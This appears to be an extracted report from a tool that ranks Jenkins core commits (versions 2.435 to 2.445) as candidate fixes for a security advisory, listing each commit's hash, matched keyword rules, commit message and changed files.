    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5f0e704ea26b430e117b32a5d7ea3658779edea8 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: replace, read
      -
    • - -
    • -
      The commit message references some github issue: 8955
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      readonly mode for f:select (#8955) * readonly mode for f:select when enabling readonly mode with the extended read permissions plugin the places where an f:select is used are not replaced. * apply prettier * apply lint issues
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/lib/form/select.jelly - - core/src/main/resources/lib/form/select/select.js - - war/src/main/webapp/scripts/hudson-behavior.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-71326] - Support colored badges in breadcrumb dropdown... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8b949243a92cc0ff89742be6b509920db0e0a456 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read
      -
    • - -
    • -
      The commit message references some github issue: 8853
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-71326] - Support colored badges in breadcrumb dropdown (#8853) * [JENKINS-71326] - Support colored badges in breadcrumb dropdown * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Creating a badge jelly view. * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Adding class attribute to the badge jelly. * Apply suggestions from code review Co-authored-by: Alexander Brandes <brandes.alexander@web.de> * [JENKINS-71326] - Support colored badges in breadcrumb dropdown - Lint and license Fix --------- Co-authored-by: Alexander Brandes <brandes.alexander@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/management/Badge.java - - core/src/main/resources/hudson/model/ManageJenkinsAction/index.jelly - - core/src/main/resources/lib/layout/badge.jelly - - core/src/main/resources/lib/layout/task.jelly - - war/src/main/js/components/dropdowns/templates.js - - war/src/main/scss/components/_badges.scss - - war/src/main/scss/components/_dropdowns.scss - - war/src/main/scss/components/_section.scss - - war/src/main/scss/components/_side-panel-tasks.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Fix UI for plugin manager's Advanced settings with SystemRead... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 76df1676462b5ee9e98ede2d6328ee865f798c8b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read, system
      -
    • - -
    • -
      The commit message references some github issue: 8942
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Fix UI for plugin manager's Advanced settings with SystemRead (#8942) Fix UI for plugin manager's Advanced settings with ExtendedRead Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/PluginManager/advanced.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Do not offer impossible Cloud options to users with SystemRead... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d5c9e6a9d7624210ef0e952622990af4d25882cc -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read, system
      -
    • - -
    • -
      The commit message references some github issue: 8943
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Do not offer impossible Cloud options to users with SystemRead (#8943) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/jenkins/agents/CloudSet/index.jelly - - core/src/main/resources/jenkins/agents/CloudSet/index.properties - - core/src/main/resources/jenkins/agents/CloudSet/index_fr.properties - - core/src/main/resources/jenkins/agents/CloudSet/index_tr.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - fix margin in readonly mode (#8938) * fix margin in readonly mode... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.445 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 90c3a392025bd905a2705059eaa036474b52ee9e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read, system
      -
    • - -
    • -
      The commit message references some github issue: 8938
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      fix margin in readonly mode (#8938) * fix margin in readonly mode when readonly mode is enabled with systemread or extended read permissions, some fields are wrapped in a `pre` tag. By default `pre` has a bigger margin-bottom . But in readonly mode we already have a margin in a wrapping div which leads to unnecessary large space after those fields. So we should remove the margin-bottom for this * fix style
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/src/main/scss/base/_style.scss - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72627] Improve locale parsing for loading of localised help... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - abf3b41ab33f34436cb61b84fe3d5f03d53a6bd5 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      The commit message references some github issue: 8912
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72627] Improve locale parsing for loading of localised help files (#8912) * fix only use preferred accept-language Signed-off-by: BobDu <i@bobdu.cc> * revert asterisk imports Signed-off-by: BobDu <i@bobdu.cc> * add unit test getStaticHelpUrl Signed-off-by: BobDu <i@bobdu.cc> * improve unit test getStaticHelpUrl Signed-off-by: BobDu <i@bobdu.cc> * rename assertThatLocaleResourceIs method Signed-off-by: BobDu <i@bobdu.cc> --------- Signed-off-by: BobDu <i@bobdu.cc>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Descriptor.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72509] show error message in progressive logs on 4xx status... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d7be82af3b7aee63d6ebd9c7008d1a9910070cdb -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read
      -
    • - -
    • -
      The commit message references some github issue: 8907
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72509] show error message in progressive logs on 4xx status codes (#8907) * [JENKINS-72509] avoid broken log when deleting job/agent when accessing the log of a running build and the job gets deleted or someone removes read permissions (without discover) the log just appends the output of the call to logText/progressiveHtml which is the 404 message from Jenkins. The same happens when one accesses the log of an agent and the agent is deleted. This is due to only checking for 403 status and ignoring other status codes from the 400 range. * do not reload but print an error * apply prettier
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/lib/hudson/progressive-text.js - - core/src/main/resources/lib/hudson/progressiveText.jelly - - core/src/main/resources/lib/hudson/progressiveText.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-71700] avoid stacktrace from artifactarchiver when no... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.444 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ef378cc38d5b0c0e0065a64fcbd4faf8c5b95feb -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      The commit message references some github issue: 8908
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-71700] avoid stacktrace from artifactarchiver when no artifacts are found (#8908) [JENKINS-71700] avoid stacktrace in artifactarchiver when no artifacts When the validateAntFileMask fails because there are too many files or it takes too long an exception is thrown that was intendend to be catched in the ArtifactArchiver. But when the build happens on an agent and not the built-in, this didn't work as the the exception is deeply wrapped in 2 other exceptions. As printing this information is of no real help, just catch all exceptions and print them to the jenkins log but not the build log. Any other message might just be misleading as one could get the impression that jenkins stopped after looking at 10000 files and only because of this no files where archived but this is not the case. At this place the ArtifactArchiver is just trying to give a hint why it didn't archive anything.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/tasks/ArtifactArchiver.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Replace reference to ui-samples-plugin with design-library in... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c32f4dfc7ffb2b5f1e6f1745a503572b2d0e420a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: replace
      -
    • - -
    • -
      The commit message references some github issue: 8909
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Replace reference to ui-samples-plugin with design-library in javadoc (#8909) ui-samples-plugin is suspended and has been replaced with design-library: > Plugin distribution has been suspended, see https://groups.google.com/g/jenkinsci-dev/c/2vGn3t9gZ0Y for details. https://plugins.jenkins.io/ui-samples-plugin/ https://github.com/jenkinsci/design-library-plugin/pull/14
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/util/ProgressiveRendering.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Replace cobertura with coverage plugin in plugin installation wizard... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4ec1639b9a9562028f2834da6c42e0ac962aad5f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: replace
      -
    • - -
    • -
      The commit message references some github issue: 8879
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Replace cobertura with coverage plugin in plugin installation wizard (#8879) Replace cobertura with coverage plugin. The coverage plugin combines all coverage tools into a single plugin. See https://github.com/jenkinsci/coverage-plugin.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/jenkins/install/platform-plugins.json - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-71025] Remove inline JS from configure-common (#8866) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f640efc087add43d31fdd92cd24be99af99fa4f5 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: replace
      -
    • - -
    • -
      The commit message references some github issue: 6861, 8866
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-71025] Remove inline JS from configure-common (#8866) * [JENKINS-71025] Remove inline JS from configure-common replaces #6861 * remove inline jd for jdk check
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/AbstractProject.java - - core/src/main/resources/hudson/model/AbstractProject/configure-common.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` (#8874)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a665b45ba5862110d8b174d654c28541e23bedf9 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      The commit message references some github issue: 8874
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` (#8874) * Missing `VirtualFile.run` usage in `DirectoryBrowserSupport` * Might as well handle `containsSymLink` the same way. Will never matter for artifact display with either the built-in or pluggable managers, but could improve performance of workspace listing with slow agent connections. * Checkstyle --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/DirectoryBrowserSupport.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72579] Adjust heap dump file name for compatibility with... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.443 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a32f24c4498950c5d74ee0ee438f79ef5867e755 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      The commit message references some github issue: 8881
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72579] Adjust heap dump file name for compatibility with OpenJDK file suffix requirements (#8881)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/util/RemotingDiagnostics.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Allow plugins to override boot failure view (#8442) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e859e9cd9c87a34153bc02c02cdfc174daa5c0e3 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: allow
      -
    • - -
    • -
      The commit message references some github issue: 8442
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Allow plugins to override boot failure view (#8442)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/WebAppMain.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Improve crash consistency on Linux (#8815) * Improve crash... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 444f2de993786310f998b4432e2550b35e1d7a45 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: file
      -
    • - -
    • -
      The commit message references some github issue: 8815
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Improve crash consistency on Linux (#8815) * Improve crash consistency * `fsync` the correct parent directory * More flexibility * Add reference to man page * fix formatting --------- Co-authored-by: Tim Jacomb <21194782+timja@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/util/AtomicFileWriter.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - allow to change the icon size of the node overview table (#8802)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.440 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f06a954ea4ef114ff30612f6d4c21be53364aeaf -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: allow
      -
    • - -
    • -
      The commit message references some github issue: 8802
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      allow to change the icon size of the node overview table (#8802) make icon size of node overview page changeable similar to the list of projects on the start page of Jenkins the icon size of the overview page of nodes can now be changed.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/model/ComputerSet/index.jelly - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72370][JENKINS-11889] fix SimpleScheduledRetentionStrategy... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.439 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3a92445c2bc80a4c9e7c6fdf87731be109851405 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: follow, controller
      -
    • - -
    • -
      The commit message references some github issue: 8717
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72370][JENKINS-11889] fix SimpleScheduledRetentionStrategy with inbound agents (#8717) by implementing `isAcceptingTasks` the availability strategy ensures that no builds can start when the agent should not do anything. The current behaviour with an inbound agent is that the strategy disconnects the agent, just to get connected again by the agents java process followed by a disconnection a minute later and so on. After it is connected, the agent is actually accepting tasks. Additionally the change will only disconnect the agent when the controller the controller can itself launch the agent, this means inbound agents are not connected, to avoid playing jojo. The agent will just not accept new tasks for execution. The change also avoids the problem in [JENKINS-11889] for outbound agents where the accepting tasks of an agents seems to be not reset when changing the availability strategy to always on.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/slaves/SimpleScheduledRetentionStrategy.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-71578] allow making sidepanel sticky (#8269) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a82293567f965c793dbef71be6e4522c1903cd0e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: allow
      -
    • - -
    • -
      The commit message references some github issue: 8269
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-71578] allow making sidepanel sticky (#8269)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/PluginManager/sidepanel.jelly - - core/src/main/resources/hudson/model/Job/configure.jelly - - core/src/main/resources/lib/layout/layout.jelly - - core/src/main/resources/lib/layout/side-panel.jelly - - war/src/main/js/section-to-sidebar-items.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72371] rework node monitor configuration (#8719) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7258cad41408a35590ab85ab28cad9e9ffe4aeda -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: disable
      -
    • - -
    • -
      The commit message references some github issue: 8719
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72371] rework node monitor configuration (#8719) * [JENKINS-72371] rework node monitor configuration This PR reworks the way node monitors are configured. It ensures that also monitors which are set to ignored, can be configured. Previously, there was a checkbox before each monitor, where the behaviour was not totally clear. It meant that the monitor is ignored but still collecting data and not disabled as one might think. But when the monitor was disabled any configuration was lost and default values were used. * improve description * fix formatting * add since
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/ComputerSet.java - - core/src/main/java/hudson/node_monitors/AbstractNodeMonitorDescriptor.java - - core/src/main/java/hudson/node_monitors/ArchitectureMonitor.java - - core/src/main/java/hudson/node_monitors/ClockMonitor.java - - core/src/main/java/hudson/node_monitors/NodeMonitor.java - - core/src/main/java/hudson/node_monitors/ResponseTimeMonitor.java - - core/src/main/java/hudson/node_monitors/SwapSpaceMonitor.java - - core/src/main/resources/hudson/model/ComputerSet/configure.jelly - - core/src/main/resources/hudson/model/ComputerSet/configure.properties - - core/src/main/resources/hudson/node_monitors/ArchitectureMonitor/help.html - - core/src/main/resources/hudson/node_monitors/ClockMonitor/help.html - - core/src/main/resources/hudson/node_monitors/NodeMonitor/configure.jelly - - core/src/main/resources/hudson/node_monitors/NodeMonitor/help-ignored.html - - core/src/main/resources/hudson/node_monitors/ResponseTimeMonitor/help.html - - core/src/main/resources/hudson/node_monitors/SwapSpaceMonitor/help.html - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-72157] ensure uptime is independent of system clock (#8771) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0a7ab5f06eee33802b518f83bf8b8969155ae464 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: system
      -
    • - -
    • -
      The commit message references some github issue: 8771
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-72157] ensure uptime is independent of system clock (#8771)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/jenkins/model/Uptime.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-60866][JENKINS-71051][JENKINS-71048] Un-inline 'Build Now'... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 38d31c1751f582eccf85feb2c66eb0eeb3b6e77b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      The commit message references some github issue: 7635
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-60866][JENKINS-71051][JENKINS-71048] Un-inline 'Build Now' JS (#7635) * [JENKINS-60866] Un-inline 'Build Now' JS * Fix formatting * Use MorphTagLibrary to simplify API * Update docs for l:task attributes * This is a collosal waste of time Copied from 8aee10ea8a1c03c71868bd116e08efa1c9bbc1af, this is just stupid * Rename adjunct file, restructure to work around broken formatter * Exclude all documented attributes except data-* * Fix onclick behavior * Address review feedback --------- Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/lib/hudson/project/configurable.jelly - - core/src/main/resources/lib/hudson/project/configurable/configurable.js - - core/src/main/resources/lib/layout/task.jelly - - core/src/main/resources/lib/layout/task/task.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency stylelint to v16 (#8767) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.437 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6fcfb189060c74f05c3d193e013b84acc67fff58 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: controller
      -
    • - -
    • -
      The commit message references some github issue: 8767
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency stylelint to v16 (#8767) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/src/main/scss/components/_row-selection-controller.scss - - war/src/main/scss/form/_layout.scss - - war/src/main/scss/form/_search-bar.scss - - war/src/main/scss/pages/_icon-legend.scss - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add `ExtensionList.lookupFirst` convenience method. (#8735) * Add... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 0f0d81b306c6452621f29bd3b0493662e12ef009 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: allow
      -
    • - -
    • -
      The commit message references some github issue: 8735
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add `ExtensionList.lookupFirst` convenience method. (#8735) * Add `ExtensionList.lookupFirst` convenience method. When introducing an extension point that is meant to allow overriding a default behaviour with another implementation, generally the caller only cares about looking up only one implementation, the one with the highest ordinal. * Fix javadoc Co-authored-by: Jesse Glick <jglick@cloudbees.com> --------- Co-authored-by: Jesse Glick <jglick@cloudbees.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/ExtensionList.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - make displayname of HistoryWidget configurable for alternate text... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c637d4168ef41170908ddf0f967d70af1e8e5c4e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: read
      -
    • - -
    • -
      The commit message references some github issue: 8740
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      make displayname of HistoryWidget configurable for alternate text (#8740) make displayname of HistoryWidget configurable for use with customizable-build-now plugin make the placeholder for the history filter less specific, the title already explains what this shows so just `Filter...` should be enough.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/widgets/HistoryWidget.java - - core/src/main/resources/hudson/widgets/HistoryWidget/index.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency org.apache.maven:maven-core to v3.9.6 (#8734)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: jenkins-2.435 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5bd48ebcd045865529216b9c93f34aa2d6a04a1f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: file
      -
    • - -
    • -
      The commit message references some github issue: 8734
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency org.apache.maven:maven-core to v3.9.6 (#8734) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .gitpod/Dockerfile - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
